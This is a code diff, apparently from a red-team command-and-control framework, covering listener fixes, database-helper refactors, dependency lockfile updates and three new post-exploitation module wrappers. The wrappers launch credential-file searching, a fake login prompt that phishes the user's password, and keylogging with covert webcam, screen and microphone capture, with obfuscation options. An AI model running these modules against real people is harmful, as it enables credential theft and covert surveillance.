633 token = get_token(client_id, client_secret, auth_code)
633 try:
634 token = get_token(client_id, client_secret, auth_code)
635 except:
636 print(helpers.color("[!] Unable to retrieve OneDrive Token"))
637 return
638
634639 message = "[*] Got new auth token"
635640 signal = json.dumps({
636641 'print': True,
801806 s.delete("%s/drive/items/%s" % (base_url, item['id']))
802807 continue
803808
804 try: # Update the agent's last seen time, from the file timestamp
805 seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%S.%fZ")
806 except: # sometimes no ms for some reason...
807 seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%SZ")
808 seen_time = helpers.utc_to_local(seen_time)
809 self.mainMenu.agents.update_agent_lastseen_db(agent_id, seen_time)
809 self.mainMenu.agents.update_agent_lastseen_db(agent_id)
810810
811811 # If the agent is just checking in, the file will only be 1 byte, so no results to fetch
812812 if (item['size'] > 1):
488488
489489 if language == 'powershell':
490490
491 f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
491 f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
492492 code = f.read()
493493 f.close()
494494 # Get the random function name generated at install and patch the stager with the proper function name
517517 return code
518518
519519 elif language == 'python':
520 f = open(self.mainMenu.installPath + "./data/agent/agent.py")
520 f = open(self.mainMenu.installPath + "/data/agent/agent.py")
521521 code = f.read()
522522 f.close()
523523
159159 script += scriptEnd
160160
161161 # Get the random function name generated at install and patch the stager with the proper function name
162 conn = self.get_db_connection()
163 self.lock.acquire()
164162 script = helpers.keyword_obfuscation(script)
165 self.lock.release()
166163
167164 return script
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5
6 class Module(object):
7
8 def __init__(self, mainMenu, params=[]):
9
10 # Metadata info about the module, not modified during runtime
11 self.info = {
12 # Name for the module that will appear in module menus
13 'Name': 'Invoke-SauronEye',
14
15 # List of one or more authors for the module
16 'Author': ['@vivami', '@S3cur3Th1sSh1t'],
17
18 # More verbose multi-line description of the module
19 'Description': ("SauronEye is a search tool built to aid red teams in finding files containing "
20 "specific keywords."),
21
22 'Software': '',
23
24 'Techniques': ['T1083'],
25
26 # True if the module needs to run in the background
27 'Background': False,
28
29 # File extension to save the file as
30 'OutputExtension': None,
31
32 # True if the module needs admin rights to run
33 'NeedsAdmin': False,
34
35 # True if the method doesn't touch disk/is reasonably opsec safe
36 'OpsecSafe': True,
37
38 # The language for this module
39 'Language': 'powershell',
40
41 # The minimum PowerShell version needed for the module to run
42 'MinLanguageVersion': '4',
43
44 # List of any references/other comments
45 'Comments': [
46 'https://github.com/vivami/SauronEye'
47 ]
48 }
49
50 # Any options needed by the module, settable during runtime
51 self.options = {
52 # Format:
53 # value_name : {description, required, default_value}
54 'Agent': {
55 # The 'Agent' option is the only one that MUST be in a module
56 'Description': 'Agent to run on.',
57 'Required': True,
58 'Value': ''
59 },
60 'filetypes ': {
61 'Description': 'Filetypes to search for/in',
62 'Required': False,
63 'Value': '.txt .doc .docx .xls',
64 },
65 'contents': {
66 'Description': 'Search file contents',
67 'Required': False,
68 'Value': 'True',
69 },
70 'keywords': {
71 'Description': 'Keywords to search for',
72 'Required': False,
73 'Value': 'password pass*',
74 },
75 'directories': {
76 'Description': "Directories to search",
77 'Required': False,
78 'Value': '',
79 },
80 'maxfilesize': {
81 'Description': "Max file size to search contents in, in kilobytes",
82 'Required': False,
83 'Value': '',
84 },
85 'beforedate': {
86 'Description': 'Filter files last modified before this date, format: yyyy-MM-dd',
87 'Required': False,
88 'Value': '',
89 },
90 'afterdate': {
91 'Description': "Filter files last modified after this date, format: yyyy-MM-dd",
92 'Required': False,
93 'Value': '',
94 },
95 'systemdirs': {
96 'Description': 'Search in filesystem directories %APPDATA% and %WINDOWS%',
97 'Required': False,
98 'Value': '',
99 },
100 'vbamacrocheck': {
101 'Description': 'Check if 2003 Office files (*.doc and *.xls) contain a VBA macro',
102 'Required': False,
103 'Value': 'True',
104 },
105 }
106
107 self.mainMenu = mainMenu
108
109 if params:
110 for param in params:
111 # Parameter format is [Name, Value]
112 option, value = param
113 if option in self.options:
114 self.options[option]['Value'] = value
115
116 def generate(self, obfuscate=False, obfuscationCommand=""):
117 # First method: Read in the source script from module_source
118 module_source = self.mainMenu.installPath + "/data/module_source/collection/Invoke-SauronEye.ps1"
119 if obfuscate:
120 helpers.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscationCommand)
121 module_source = module_source.replace("module_source", "obfuscated_module_source")
122 try:
123 f = open(module_source, 'r')
124 except:
125 print(helpers.color("[!] Could not read module source path at: " + str(module_source)))
126 return ""
127
128 module_code = f.read()
129 f.close()
130
131 script = module_code
132 script_end = 'Invoke-SauronEye -Command "'
133
134 # Add any arguments to the end execution of the script
135 for option, values in self.options.items():
136 if option.lower() != "agent":
137 if values['Value'] and values['Value'] != '':
138 if values['Value'].lower() == "true":
139 # if we're just adding a switch
140 script_end += " --" + str(option)
141 else:
142 script_end += " --" + str(option) + " " + str(values['Value'])
143 script_end += '"'
144
145 if obfuscate:
146 script_end = helpers.obfuscate(psScript=script_end, installPath=self.mainMenu.installPath,
147 obfuscationCommand=obfuscationCommand)
148 script += script_end
149 script = helpers.keyword_obfuscation(script)
150
151 return script
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5
6 class Module(object):
7
8 def __init__(self, mainMenu, params=[]):
9
10 # Metadata info about the module, not modified during runtime
11 self.info = {
12 # Name for the module that will appear in module menus
13 'Name': 'Invoke-SharpLoginPrompt',
14
15 # List of one or more authors for the module
16 'Author': ['@shantanu561993', '@S3cur3Th1sSh1t'],
17
18 # More verbose multi-line description of the module
19 'Description': ("This Program creates a login prompt to gather username and password of the current user. "
20 "This project allows red team to phish username and password of the current user without "
21 "touching lsass and having administrator credentials on the system."),
22
23 'Software': '',
24
25 'Techniques': ['T1056'],
26
27 # True if the module needs to run in the background
28 'Background': False,
29
30 # File extension to save the file as
31 'OutputExtension': None,
32
33 # True if the module needs admin rights to run
34 'NeedsAdmin': False,
35
36 # True if the method doesn't touch disk/is reasonably opsec safe
37 'OpsecSafe': True,
38
39 # The language for this module
40 'Language': 'powershell',
41
42 # The minimum PowerShell version needed for the module to run
43 'MinLanguageVersion': '4',
44
45 # List of any references/other comments
46 'Comments': [
47 'https://github.com/shantanu561993/SharpLoginPrompt'
48 ]
49 }
50
51 # Any options needed by the module, settable during runtime
52 self.options = {
53 # Format:
54 # value_name : {description, required, default_value}
55 'Agent': {
56 # The 'Agent' option is the only one that MUST be in a module
57 'Description': 'Agent to run on.',
58 'Required': True,
59 'Value': ''
60 },
61 'Header': {
62 'Description': 'Customized heading for login prompt.',
63 'Required': False,
64 'Value': '',
65 },
66 'Subheader': {
67 'Description': 'Customized subheading for prompt.',
68 'Required': False,
69 'Value': '',
70 }
71 }
72
73 self.mainMenu = mainMenu
74
75 if params:
76 for param in params:
77 # Parameter format is [Name, Value]
78 option, value = param
79 if option in self.options:
80 self.options[option]['Value'] = value
81
82 def generate(self, obfuscate=False, obfuscationCommand=""):
83 # First method: Read in the source script from module_source
84 module_source = self.mainMenu.installPath + "/data/module_source/collection/Invoke-SharpLoginPrompt.ps1"
85 if obfuscate:
86 helpers.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscationCommand)
87 module_source = module_source.replace("module_source", "obfuscated_module_source")
88 try:
89 f = open(module_source, 'r')
90 except:
91 print(helpers.color("[!] Could not read module source path at: " + str(module_source)))
92 return ""
93
94 module_code = f.read()
95 f.close()
96
97 script = module_code
98 script_end = 'Invoke-SharpLoginPrompt -Command "'
99
100 # Add any arguments to the end execution of the script
101 if self.options['Header']['Value']:
102 script_end += " '" + self.options['Header']['Value'] + "'"
103 if self.options['Subheader']['Value']:
104 script_end += " '" + self.options['Subheader']['Value'] + "'"
105 script_end += '"'
106
107 if obfuscate:
108 script_end = helpers.obfuscate(psScript=script_end, installPath=self.mainMenu.installPath,
109 obfuscationCommand=obfuscationCommand)
110 script += script_end
111 script = helpers.keyword_obfuscation(script)
112
113 return script
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5
6 class Module(object):
7
8 def __init__(self, mainMenu, params=[]):
9
10 # Metadata info about the module, not modified during runtime
11 self.info = {
12 # Name for the module that will appear in module menus
13 'Name': 'Invoke-WireTap',
14
15 # List of one or more authors for the module
16 'Author': ['@mDoi12mdjf', '@S3cur3Th1sSh1t'],
17
18 # More verbose multi-line description of the module
19 'Description': ("WireTap is a .NET 4.0 project to consolidate several functions used to interact with a "
20 "user's hardware, including: Screenshots (Display + WebCam Imaging), Audio (Both line-in "
21 "and line-out), Keylogging, & Activate voice recording when the user says a keyword "
22 "phrase. Note: Only one method can be ran at a time."),
23
24 'Software': '',
25
26 'Techniques': ['T1123', 'T1125', 'T1056'],
27
28 # True if the module needs to run in the background
29 'Background': False,
30
31 # File extension to save the file as
32 'OutputExtension': None,
33
34 # True if the module needs admin rights to run
35 'NeedsAdmin': False,
36
37 # True if the method doesn't touch disk/is reasonably opsec safe
38 'OpsecSafe': True,
39
40 # The language for this module
41 'Language': 'powershell',
42
43 # The minimum PowerShell version needed for the module to run
44 'MinLanguageVersion': '4',
45
46 # List of any references/other comments
47 'Comments': [
48 'https://github.com/djhohnstein/WireTap'
49 ]
50 }
51
52 # Any options needed by the module, settable during runtime
53 self.options = {
54 # Format:
55 # value_name : {description, required, default_value}
56 'Agent': {
57 # The 'Agent' option is the only one that MUST be in a module
58 'Description': 'Agent to run on.',
59 'Required': True,
60 'Value': ''
61 },
62 'record_mic': {
63 'Description': 'Record audio from the attached microphone (line-in).',
64 'Required': False,
65 'Value': 'True',
66 },
67 'record_sys': {
68 'Description': 'Record audio from the system speakers (line-out).',
69 'Required': False,
70 'Value': '',
71 },
72 'record_audio': {
73 'Description': 'Record audio from both the microphone and the speakers. Default: 10s',
74 'Required': False,
75 'Value': '',
76 },
77 'capture_screen': {
78 'Description': "Screenshot the current user's screen.",
79 'Required': False,
80 'Value': '',
81 },
82 'capture_webcam': {
83 'Description': "Capture images from the user's attached webcam (if it exists).",
84 'Required': False,
85 'Value': '',
86 },
87 'keylogger': {
88 'Description': 'Begin logging keystrokes to a file.',
89 'Required': False,
90 'Value': '',
91 },
92 'listen_for_passwords': {
93 'Description': "Listens for words 'username', 'password', 'login' and 'credential', "
94 "and when heard, starts an audio recording for two minutes.",
95 'Required': False,
96 'Value': '',
97 },
98 'time': {
99 'Description': 'Time to record mic, sys, or audio. Time suffix can be s/m/h.',
100 'Required': False,
101 'Value': '10s',
102 },
103 }
104
105 self.mainMenu = mainMenu
106
107 if params:
108 for param in params:
109 # Parameter format is [Name, Value]
110 option, value = param
111 if option in self.options:
112 self.options[option]['Value'] = value
113
114 def generate(self, obfuscate=False, obfuscationCommand=""):
115 # First method: Read in the source script from module_source
116 module_source = self.mainMenu.installPath + "/data/module_source/collection/Invoke-WireTap.ps1"
117 if obfuscate:
118 helpers.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscationCommand)
119 module_source = module_source.replace("module_source", "obfuscated_module_source")
120 try:
121 f = open(module_source, 'r')
122 except:
123 print(helpers.color("[!] Could not read module source path at: " + str(module_source)))
124 return ""
125
126 module_code = f.read()
127 f.close()
128
129 script = module_code
130 script_end = 'Invoke-WireTap -Command "'
131
132 # Add any arguments to the end execution of the script
133 for option, values in self.options.items():
134 if option.lower() != "agent":
135 if values['Value'] and values['Value'] != '':
136 if values['Value'].lower() == "true":
137 # if we're just adding a switch
138 script_end += str(option)
139 elif option.lower() == "time":
140 # if we're just adding a switch
141 script_end += " " + str(values['Value'])
142 else:
143 script_end += " " + str(option) + " " + str(values['Value'])
144 script_end += '"'
145
146 if obfuscate:
147 script_end = helpers.obfuscate(psScript=script_end, installPath=self.mainMenu.installPath,
148 obfuscationCommand=obfuscationCommand)
149 script += script_end
150 script = helpers.keyword_obfuscation(script)
151
152 return script
6161 if option in self.options:
6262 self.options[option]['Value'] = value
6363
64 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
65 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
66 def get_db_connection(self):
67 """
68 Returns the cursor for SQLlite DB
69 """
70 self.lock.acquire()
71 self.mainMenu.conn.row_factory = None
72 self.lock.release()
73 return self.mainMenu.conn
74
75
7664 def generate(self, obfuscate=False, obfuscationCommand=""):
7765
7866 # read in the common module source code
6161 if option in self.options:
6262 self.options[option]['Value'] = value
6363
64 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
65 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
66 def get_db_connection(self):
67 """
68 Returns the cursor for SQLlite DB
69 """
70 self.lock.acquire()
71 self.mainMenu.conn.row_factory = None
72 self.lock.release()
73 return self.mainMenu.conn
74
7564 def generate(self, obfuscate=False, obfuscationCommand=""):
7665
7766 # read in the common module source code
6666 if option in self.options:
6767 self.options[option]['Value'] = value
6868
69 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
70 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
71 def get_db_connection(self):
72 """
73 Returns the cursor for SQLlite DB
74 """
75 self.lock.acquire()
76 self.mainMenu.conn.row_factory = None
77 self.lock.release()
78 return self.mainMenu.conn
79
8069 def generate(self, obfuscate=False, obfuscationCommand=""):
8170
8271 # read in the common module source code
7777 option, value = param
7878 if option in self.options:
7979 self.options[option]['Value'] = value
80 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
81 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
82 def get_db_connection(self):
83 """
84 Returns the cursor for SQLlite DB
85 """
86 self.lock.acquire()
87 self.mainMenu.conn.row_factory = None
88 self.lock.release()
89 return self.mainMenu.conn
9080
9181 def generate(self, obfuscate=False, obfuscationCommand=""):
9282
8383 if option in self.options:
8484 self.options[option]['Value'] = value
8585
86 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
87 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
88 def get_db_connection(self):
89 """
90 Returns the cursor for SQLlite DB
91 """
92 self.lock.acquire()
93 self.mainMenu.conn.row_factory = None
94 self.lock.release()
95 return self.mainMenu.conn
96
9786 def generate(self, obfuscate=False, obfuscationCommand=""):
9887
9988 # read in the common module source code
6060 if option in self.options:
6161 self.options[option]['Value'] = value
6262
63 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
64 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
65 def get_db_connection(self):
66 """
67 Returns the cursor for SQLlite DB
68 """
69 self.lock.acquire()
70 self.mainMenu.conn.row_factory = None
71 self.lock.release()
72 return self.mainMenu.conn
7363
7464 def generate(self, obfuscate=False, obfuscationCommand=""):
7565
106106 if option in self.options:
107107 self.options[option]['Value'] = value
108108
109 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
110 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
111 def get_db_connection(self):
112 """
113 Returns the cursor for SQLlite DB
114 """
115 self.lock.acquire()
116 self.mainMenu.conn.row_factory = None
117 self.lock.release()
118 return self.mainMenu.conn
119109
120110 def generate(self, obfuscate=False, obfuscationCommand=""):
121111
6060 if option in self.options:
6161 self.options[option]['Value'] = value
6262
63 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
64 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
65 def get_db_connection(self):
66 """
67 Returns the cursor for SQLlite DB
68 """
69 self.lock.acquire()
70 self.mainMenu.conn.row_factory = None
71 self.lock.release()
72 return self.mainMenu.conn
73
7463 def generate(self, obfuscate=False, obfuscationCommand=""):
7564
7665 # read in the common module source code
6060 if option in self.options:
6161 self.options[option]['Value'] = value
6262
63 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
64 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
65 def get_db_connection(self):
66 """
67 Returns the cursor for SQLlite DB
68 """
69 self.lock.acquire()
70 self.mainMenu.conn.row_factory = None
71 self.lock.release()
72 return self.mainMenu.conn
73
74
7563 def generate(self, obfuscate=False, obfuscationCommand=""):
7664
7765 # read in the common module source code
6767 if option in self.options:
6868 self.options[option]['Value'] = value
6969
70 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
71 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
72 def get_db_connection(self):
73 """
74 Returns the cursor for SQLlite DB
75 """
76 self.lock.acquire()
77 self.mainMenu.conn.row_factory = None
78 self.lock.release()
79 return self.mainMenu.conn
80
8170 def generate(self, obfuscate=False, obfuscationCommand=""):
8271
8372 # read in the common module source code
9595 if option in self.options:
9696 self.options[option]['Value'] = value
9797
98 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
99 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
100 def get_db_connection(self):
101 """
102 Returns the cursor for SQLlite DB
103 """
104 self.lock.acquire()
105 self.mainMenu.conn.row_factory = None
106 self.lock.release()
107 return self.mainMenu.conn
108
10998 def generate(self, obfuscate=False, obfuscationCommand=""):
11099
111100 # read in the common module source code
8383 if option in self.options:
8484 self.options[option]['Value'] = value
8585
86 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
87 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
88 def get_db_connection(self):
89 """
90 Returns the cursor for SQLlite DB
91 """
92 self.lock.acquire()
93 self.mainMenu.conn.row_factory = None
94 self.lock.release()
95 return self.mainMenu.conn
96
9786 def generate(self, obfuscate=False, obfuscationCommand=""):
9887
9988 # read in the common module source code
5656 # like listeners/agent handlers/etc.
5757 self.mainMenu = mainMenu
5858
59 # used to protect self.purge and self.mainMenu.conn during threaded listener access
60 self.lock = threading.Lock()
61
6259 for param in params:
6360 # parameter format is [Name, Value]
6461 option, value = param
6562 if option in self.options:
6663 self.options[option]['Value'] = value
67
68 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
69 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
70 def get_db_connection(self):
71 """
72 Returns the cursor for SQLlite DB
73 """
74 self.lock.acquire()
75 self.mainMenu.conn.row_factory = None
76 self.lock.release()
77 return self.mainMenu.conn
7864
7965 def generate(self, obfuscate=False, obfuscationCommand=""):
8066
101101 # like listeners/agent handlers/etc.
102102 self.mainMenu = mainMenu
103103
104 # used to protect self.silver_ticket and self.mainMenu.conn during threaded listener access
105 self.lock = threading.Lock()
106
107104 for param in params:
108105 # parameter format is [Name, Value]
109106 option, value = param
110107 if option in self.options:
111108 self.options[option]['Value'] = value
112
113 # this might not be necessary. Could probably be achieved by just callingg mainmenu.get_db but all the other files have
114 # implemented it in place. Might be worthwhile to just make a database handling file -Hubbl3
115 def get_db_connection(self):
116 """
117 Returns the cursor for SQLlite DB
118 """
119 self.lock.acquire()
120 self.mainMenu.conn.row_factory = None
121 self.lock.release()
122 return self.mainMenu.conn
123109
124110 def generate(self, obfuscate=False, obfuscationCommand=""):
125111
6060 # like listeners/agent handlers/etc.
6161 self.mainMenu = mainMenu
6262
63 # used to protect self.purge and self.mainMenu.conn during threaded listener access
64 self.lock = threading.Lock()
65
6663 for param in params:
6764 # parameter format is [Name, Value]
6865 option, value = param
111111 return ""
112112 else:
113113 filesToExtractImportsFrom_List = []
114
115 # pull the database connection object out of the main menu
116 self.conn = self.mainMenu.conn
117 # pull out the code install path from the database config
118 cur = self.conn.cursor()
119
120 cur.close()
121
122114
123115 stagerFFP_Str = self.mainMenu.installPath + "/data/agent/stagers/http.py"
124116 stagerFFP_Str = os.path.join(self.mainMenu.installPath, "data/agent/stagers/http.py")
1818 six = ">=1.4.1"
1919
2020 [package.extras]
21 tests = ["pytest (>=3.2.1,<3.3.0 || >3.3.0)"]
21 tests = ["pytest (>=3.2.1,!=3.3.0)"]
2222 typecheck = ["mypy"]
2323
2424 [[package]]
3131
3232 [[package]]
3333 name = "cffi"
34 version = "1.14.3"
34 version = "1.14.4"
3535 description = "Foreign Function Interface for Python calling C code."
3636 category = "main"
3737 optional = false
6969 six = ">=1.4.1"
7070
7171 [package.extras]
72 docs = ["sphinx (>=1.6.5,<1.8.0 || >1.8.0,<3.1.0 || >3.1.0,<3.1.1 || >3.1.1)", "sphinx-rtd-theme"]
72 docs = ["sphinx (>=1.6.5,!=1.8.0,!=3.1.0,!=3.1.1)", "sphinx-rtd-theme"]
7373 docstest = ["doc8", "pyenchant (>=1.6.11)", "twine (>=1.12.0)", "sphinxcontrib-spelling (>=4.0.1)"]
7474 pep8test = ["black", "flake8", "flake8-import-order", "pep8-naming"]
7575 ssh = ["bcrypt (>=3.1.5)"]
76 test = ["pytest (>=3.6.0,<3.9.0 || >3.9.0,<3.9.1 || >3.9.1,<3.9.2 || >3.9.2)", "pretend", "iso8601", "pytz", "hypothesis (>=1.11.4,<3.79.2 || >3.79.2)"]
76 test = ["pytest (>=3.6.0,!=3.9.0,!=3.9.1,!=3.9.2)", "pretend", "iso8601", "pytz", "hypothesis (>=1.11.4,!=3.79.2)"]
7777
7878 [[package]]
7979 name = "dropbox"
108108
109109 [[package]]
110110 name = "flask-socketio"
111 version = "4.3.1"
111 version = "4.3.2"
112112 description = "Socket.IO integration for Flask applications"
113113 category = "main"
114114 optional = false
116116
117117 [package.dependencies]
118118 Flask = ">=0.9"
119 python-socketio = ">=4.3.0"
119 python-socketio = ">=4.3.0,<5"
120120
121121 [[package]]
122122 name = "future"
212212
213213 [package.dependencies]
214214 future = "*"
215
216 [[package]]
217 name = "prompt-toolkit"
218 version = "3.0.9"
219 description = "Library for building powerful interactive command lines in Python"
220 category = "main"
221 optional = false
222 python-versions = ">=3.6.1"
223
224 [package.dependencies]
225 wcwidth = "*"
215226
216227 [[package]]
217228 name = "pycparser"
273284 python-versions = "*"
274285
275286 [[package]]
287 name = "pymysql"
288 version = "0.10.1"
289 description = "Pure Python MySQL Driver"
290 category = "main"
291 optional = false
292 python-versions = "*"
293
294 [package.extras]
295 ed25519 = ["PyNaCl (>=1.4.0)"]
296 rsa = ["cryptography"]
297
298 [[package]]
276299 name = "pyopenssl"
277300 version = "19.1.0"
278301 description = "Python wrapper module around the OpenSSL library"
334357 category = "main"
335358 optional = false
336359 python-versions = "*"
360
361 [[package]]
362 name = "pyyaml"
363 version = "5.3.1"
364 description = "YAML parser and emitter for Python"
365 category = "main"
366 optional = false
367 python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
337368
338369 [[package]]
339370 name = "requests"
351382
352383 [package.extras]
353384 security = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)"]
354 socks = ["PySocks (>=1.5.6,<1.5.7 || >1.5.7)", "win-inet-pton"]
355
356 [[package]]
357 name = "simplejson"
358 version = "3.17.2"
359 description = "Simple, fast, extensible JSON encoder/decoder for Python"
360 category = "main"
361 optional = false
362 python-versions = ">=2.5, !=3.0.*, !=3.1.*, !=3.2.*"
385 socks = ["PySocks (>=1.5.6,!=1.5.7)", "win-inet-pton"]
363386
364387 [[package]]
365388 name = "six"
370393 python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
371394
372395 [[package]]
396 name = "sqlalchemy"
397 version = "1.3.20"
398 description = "Database Abstraction Library"
399 category = "main"
400 optional = false
401 python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
402
403 [package.extras]
404 mssql = ["pyodbc"]
405 mssql_pymssql = ["pymssql"]
406 mssql_pyodbc = ["pyodbc"]
407 mysql = ["mysqlclient"]
408 oracle = ["cx-oracle"]
409 postgresql = ["psycopg2"]
410 postgresql_pg8000 = ["pg8000"]
411 postgresql_psycopg2binary = ["psycopg2-binary"]
412 postgresql_psycopg2cffi = ["psycopg2cffi"]
413 pymysql = ["pymysql"]
414
415 [[package]]
416 name = "sqlalchemy-utc"
417 version = "0.11.0"
418 description = "SQLAlchemy type to store aware datetime values"
419 category = "main"
420 optional = false
421 python-versions = "*"
422
423 [package.dependencies]
424 SQLAlchemy = ">=0.9.0"
425
426 [[package]]
373427 name = "urllib3"
374428 version = "1.25.10"
375429 description = "HTTP library with thread-safe connection pooling, file post, and more."
380434 [package.extras]
381435 brotli = ["brotlipy (>=0.6.0)"]
382436 secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "pyOpenSSL (>=0.14)", "ipaddress"]
383 socks = ["PySocks (>=1.5.6,<1.5.7 || >1.5.7,<2.0)"]
437 socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"]
438
439 [[package]]
440 name = "wcwidth"
441 version = "0.2.5"
442 description = "Measures the displayed width of unicode strings in a terminal"
443 category = "main"
444 optional = false
445 python-versions = "*"
384446
385447 [[package]]
386448 name = "werkzeug"
437499 [metadata]
438500 lock-version = "1.1"
439501 python-versions = "^3.7"
440 content-hash = "5ba6b6c375cdf72dcc197ff28986f744d3977ac705686383605a4b83b91d3ab8"
502 content-hash = "160df3e3046071ede0049c9bfa9aadef5bbc621baf44264b54cf15c95cfde3de"
441503
442504 [metadata.files]
443505 altgraph = [
458520 {file = "certifi-2020.6.20.tar.gz", hash = "sha256:5930595817496dd21bb8dc35dad090f1c2cd0adfaf21204bf6732ca5d8ee34d3"},
459521 ]
460522 cffi = [
461 {file = "cffi-1.14.3-2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:3eeeb0405fd145e714f7633a5173318bd88d8bbfc3dd0a5751f8c4f70ae629bc"},
462 {file = "cffi-1.14.3-2-cp35-cp35m-macosx_10_9_x86_64.whl", hash = "sha256:cb763ceceae04803adcc4e2d80d611ef201c73da32d8f2722e9d0ab0c7f10768"},
463 {file = "cffi-1.14.3-2-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:44f60519595eaca110f248e5017363d751b12782a6f2bd6a7041cba275215f5d"},
464 {file = "cffi-1.14.3-2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c53af463f4a40de78c58b8b2710ade243c81cbca641e34debf3396a9640d6ec1"},
465 {file = "cffi-1.14.3-2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:33c6cdc071ba5cd6d96769c8969a0531be2d08c2628a0143a10a7dcffa9719ca"},
466 {file = "cffi-1.14.3-2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c11579638288e53fc94ad60022ff1b67865363e730ee41ad5e6f0a17188b327a"},
467 {file = "cffi-1.14.3-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:3cb3e1b9ec43256c4e0f8d2837267a70b0e1ca8c4f456685508ae6106b1f504c"},
468 {file = "cffi-1.14.3-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:f0620511387790860b249b9241c2f13c3a80e21a73e0b861a2df24e9d6f56730"},
469 {file = "cffi-1.14.3-cp27-cp27m-win32.whl", hash = "sha256:005f2bfe11b6745d726dbb07ace4d53f057de66e336ff92d61b8c7e9c8f4777d"},
470 {file = "cffi-1.14.3-cp27-cp27m-win_amd64.whl", hash = "sha256:2f9674623ca39c9ebe38afa3da402e9326c245f0f5ceff0623dccdac15023e05"},
471 {file = "cffi-1.14.3-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:09e96138280241bd355cd585148dec04dbbedb4f46128f340d696eaafc82dd7b"},
472 {file = "cffi-1.14.3-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:3363e77a6176afb8823b6e06db78c46dbc4c7813b00a41300a4873b6ba63b171"},
473 {file = "cffi-1.14.3-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:0ef488305fdce2580c8b2708f22d7785ae222d9825d3094ab073e22e93dfe51f"},
474 {file = "cffi-1.14.3-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:0b1ad452cc824665ddc682400b62c9e4f5b64736a2ba99110712fdee5f2505c4"},
475 {file = "cffi-1.14.3-cp35-cp35m-win32.whl", hash = "sha256:85ba797e1de5b48aa5a8427b6ba62cf69607c18c5d4eb747604b7302f1ec382d"},
476 {file = "cffi-1.14.3-cp35-cp35m-win_amd64.whl", hash = "sha256:e66399cf0fc07de4dce4f588fc25bfe84a6d1285cc544e67987d22663393926d"},
477 {file = "cffi-1.14.3-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:15f351bed09897fbda218e4db5a3d5c06328862f6198d4fb385f3e14e19decb3"},
478 {file = "cffi-1.14.3-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:4d7c26bfc1ea9f92084a1d75e11999e97b62d63128bcc90c3624d07813c52808"},
479 {file = "cffi-1.14.3-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:23e5d2040367322824605bc29ae8ee9175200b92cb5483ac7d466927a9b3d537"},
480 {file = "cffi-1.14.3-cp36-cp36m-win32.whl", hash = "sha256:a624fae282e81ad2e4871bdb767e2c914d0539708c0f078b5b355258293c98b0"},
481 {file = "cffi-1.14.3-cp36-cp36m-win_amd64.whl", hash = "sha256:de31b5164d44ef4943db155b3e8e17929707cac1e5bd2f363e67a56e3af4af6e"},
482 {file = "cffi-1.14.3-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:f92cdecb618e5fa4658aeb97d5eb3d2f47aa94ac6477c6daf0f306c5a3b9e6b1"},
483 {file = "cffi-1.14.3-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:22399ff4870fb4c7ef19fff6eeb20a8bbf15571913c181c78cb361024d574579"},
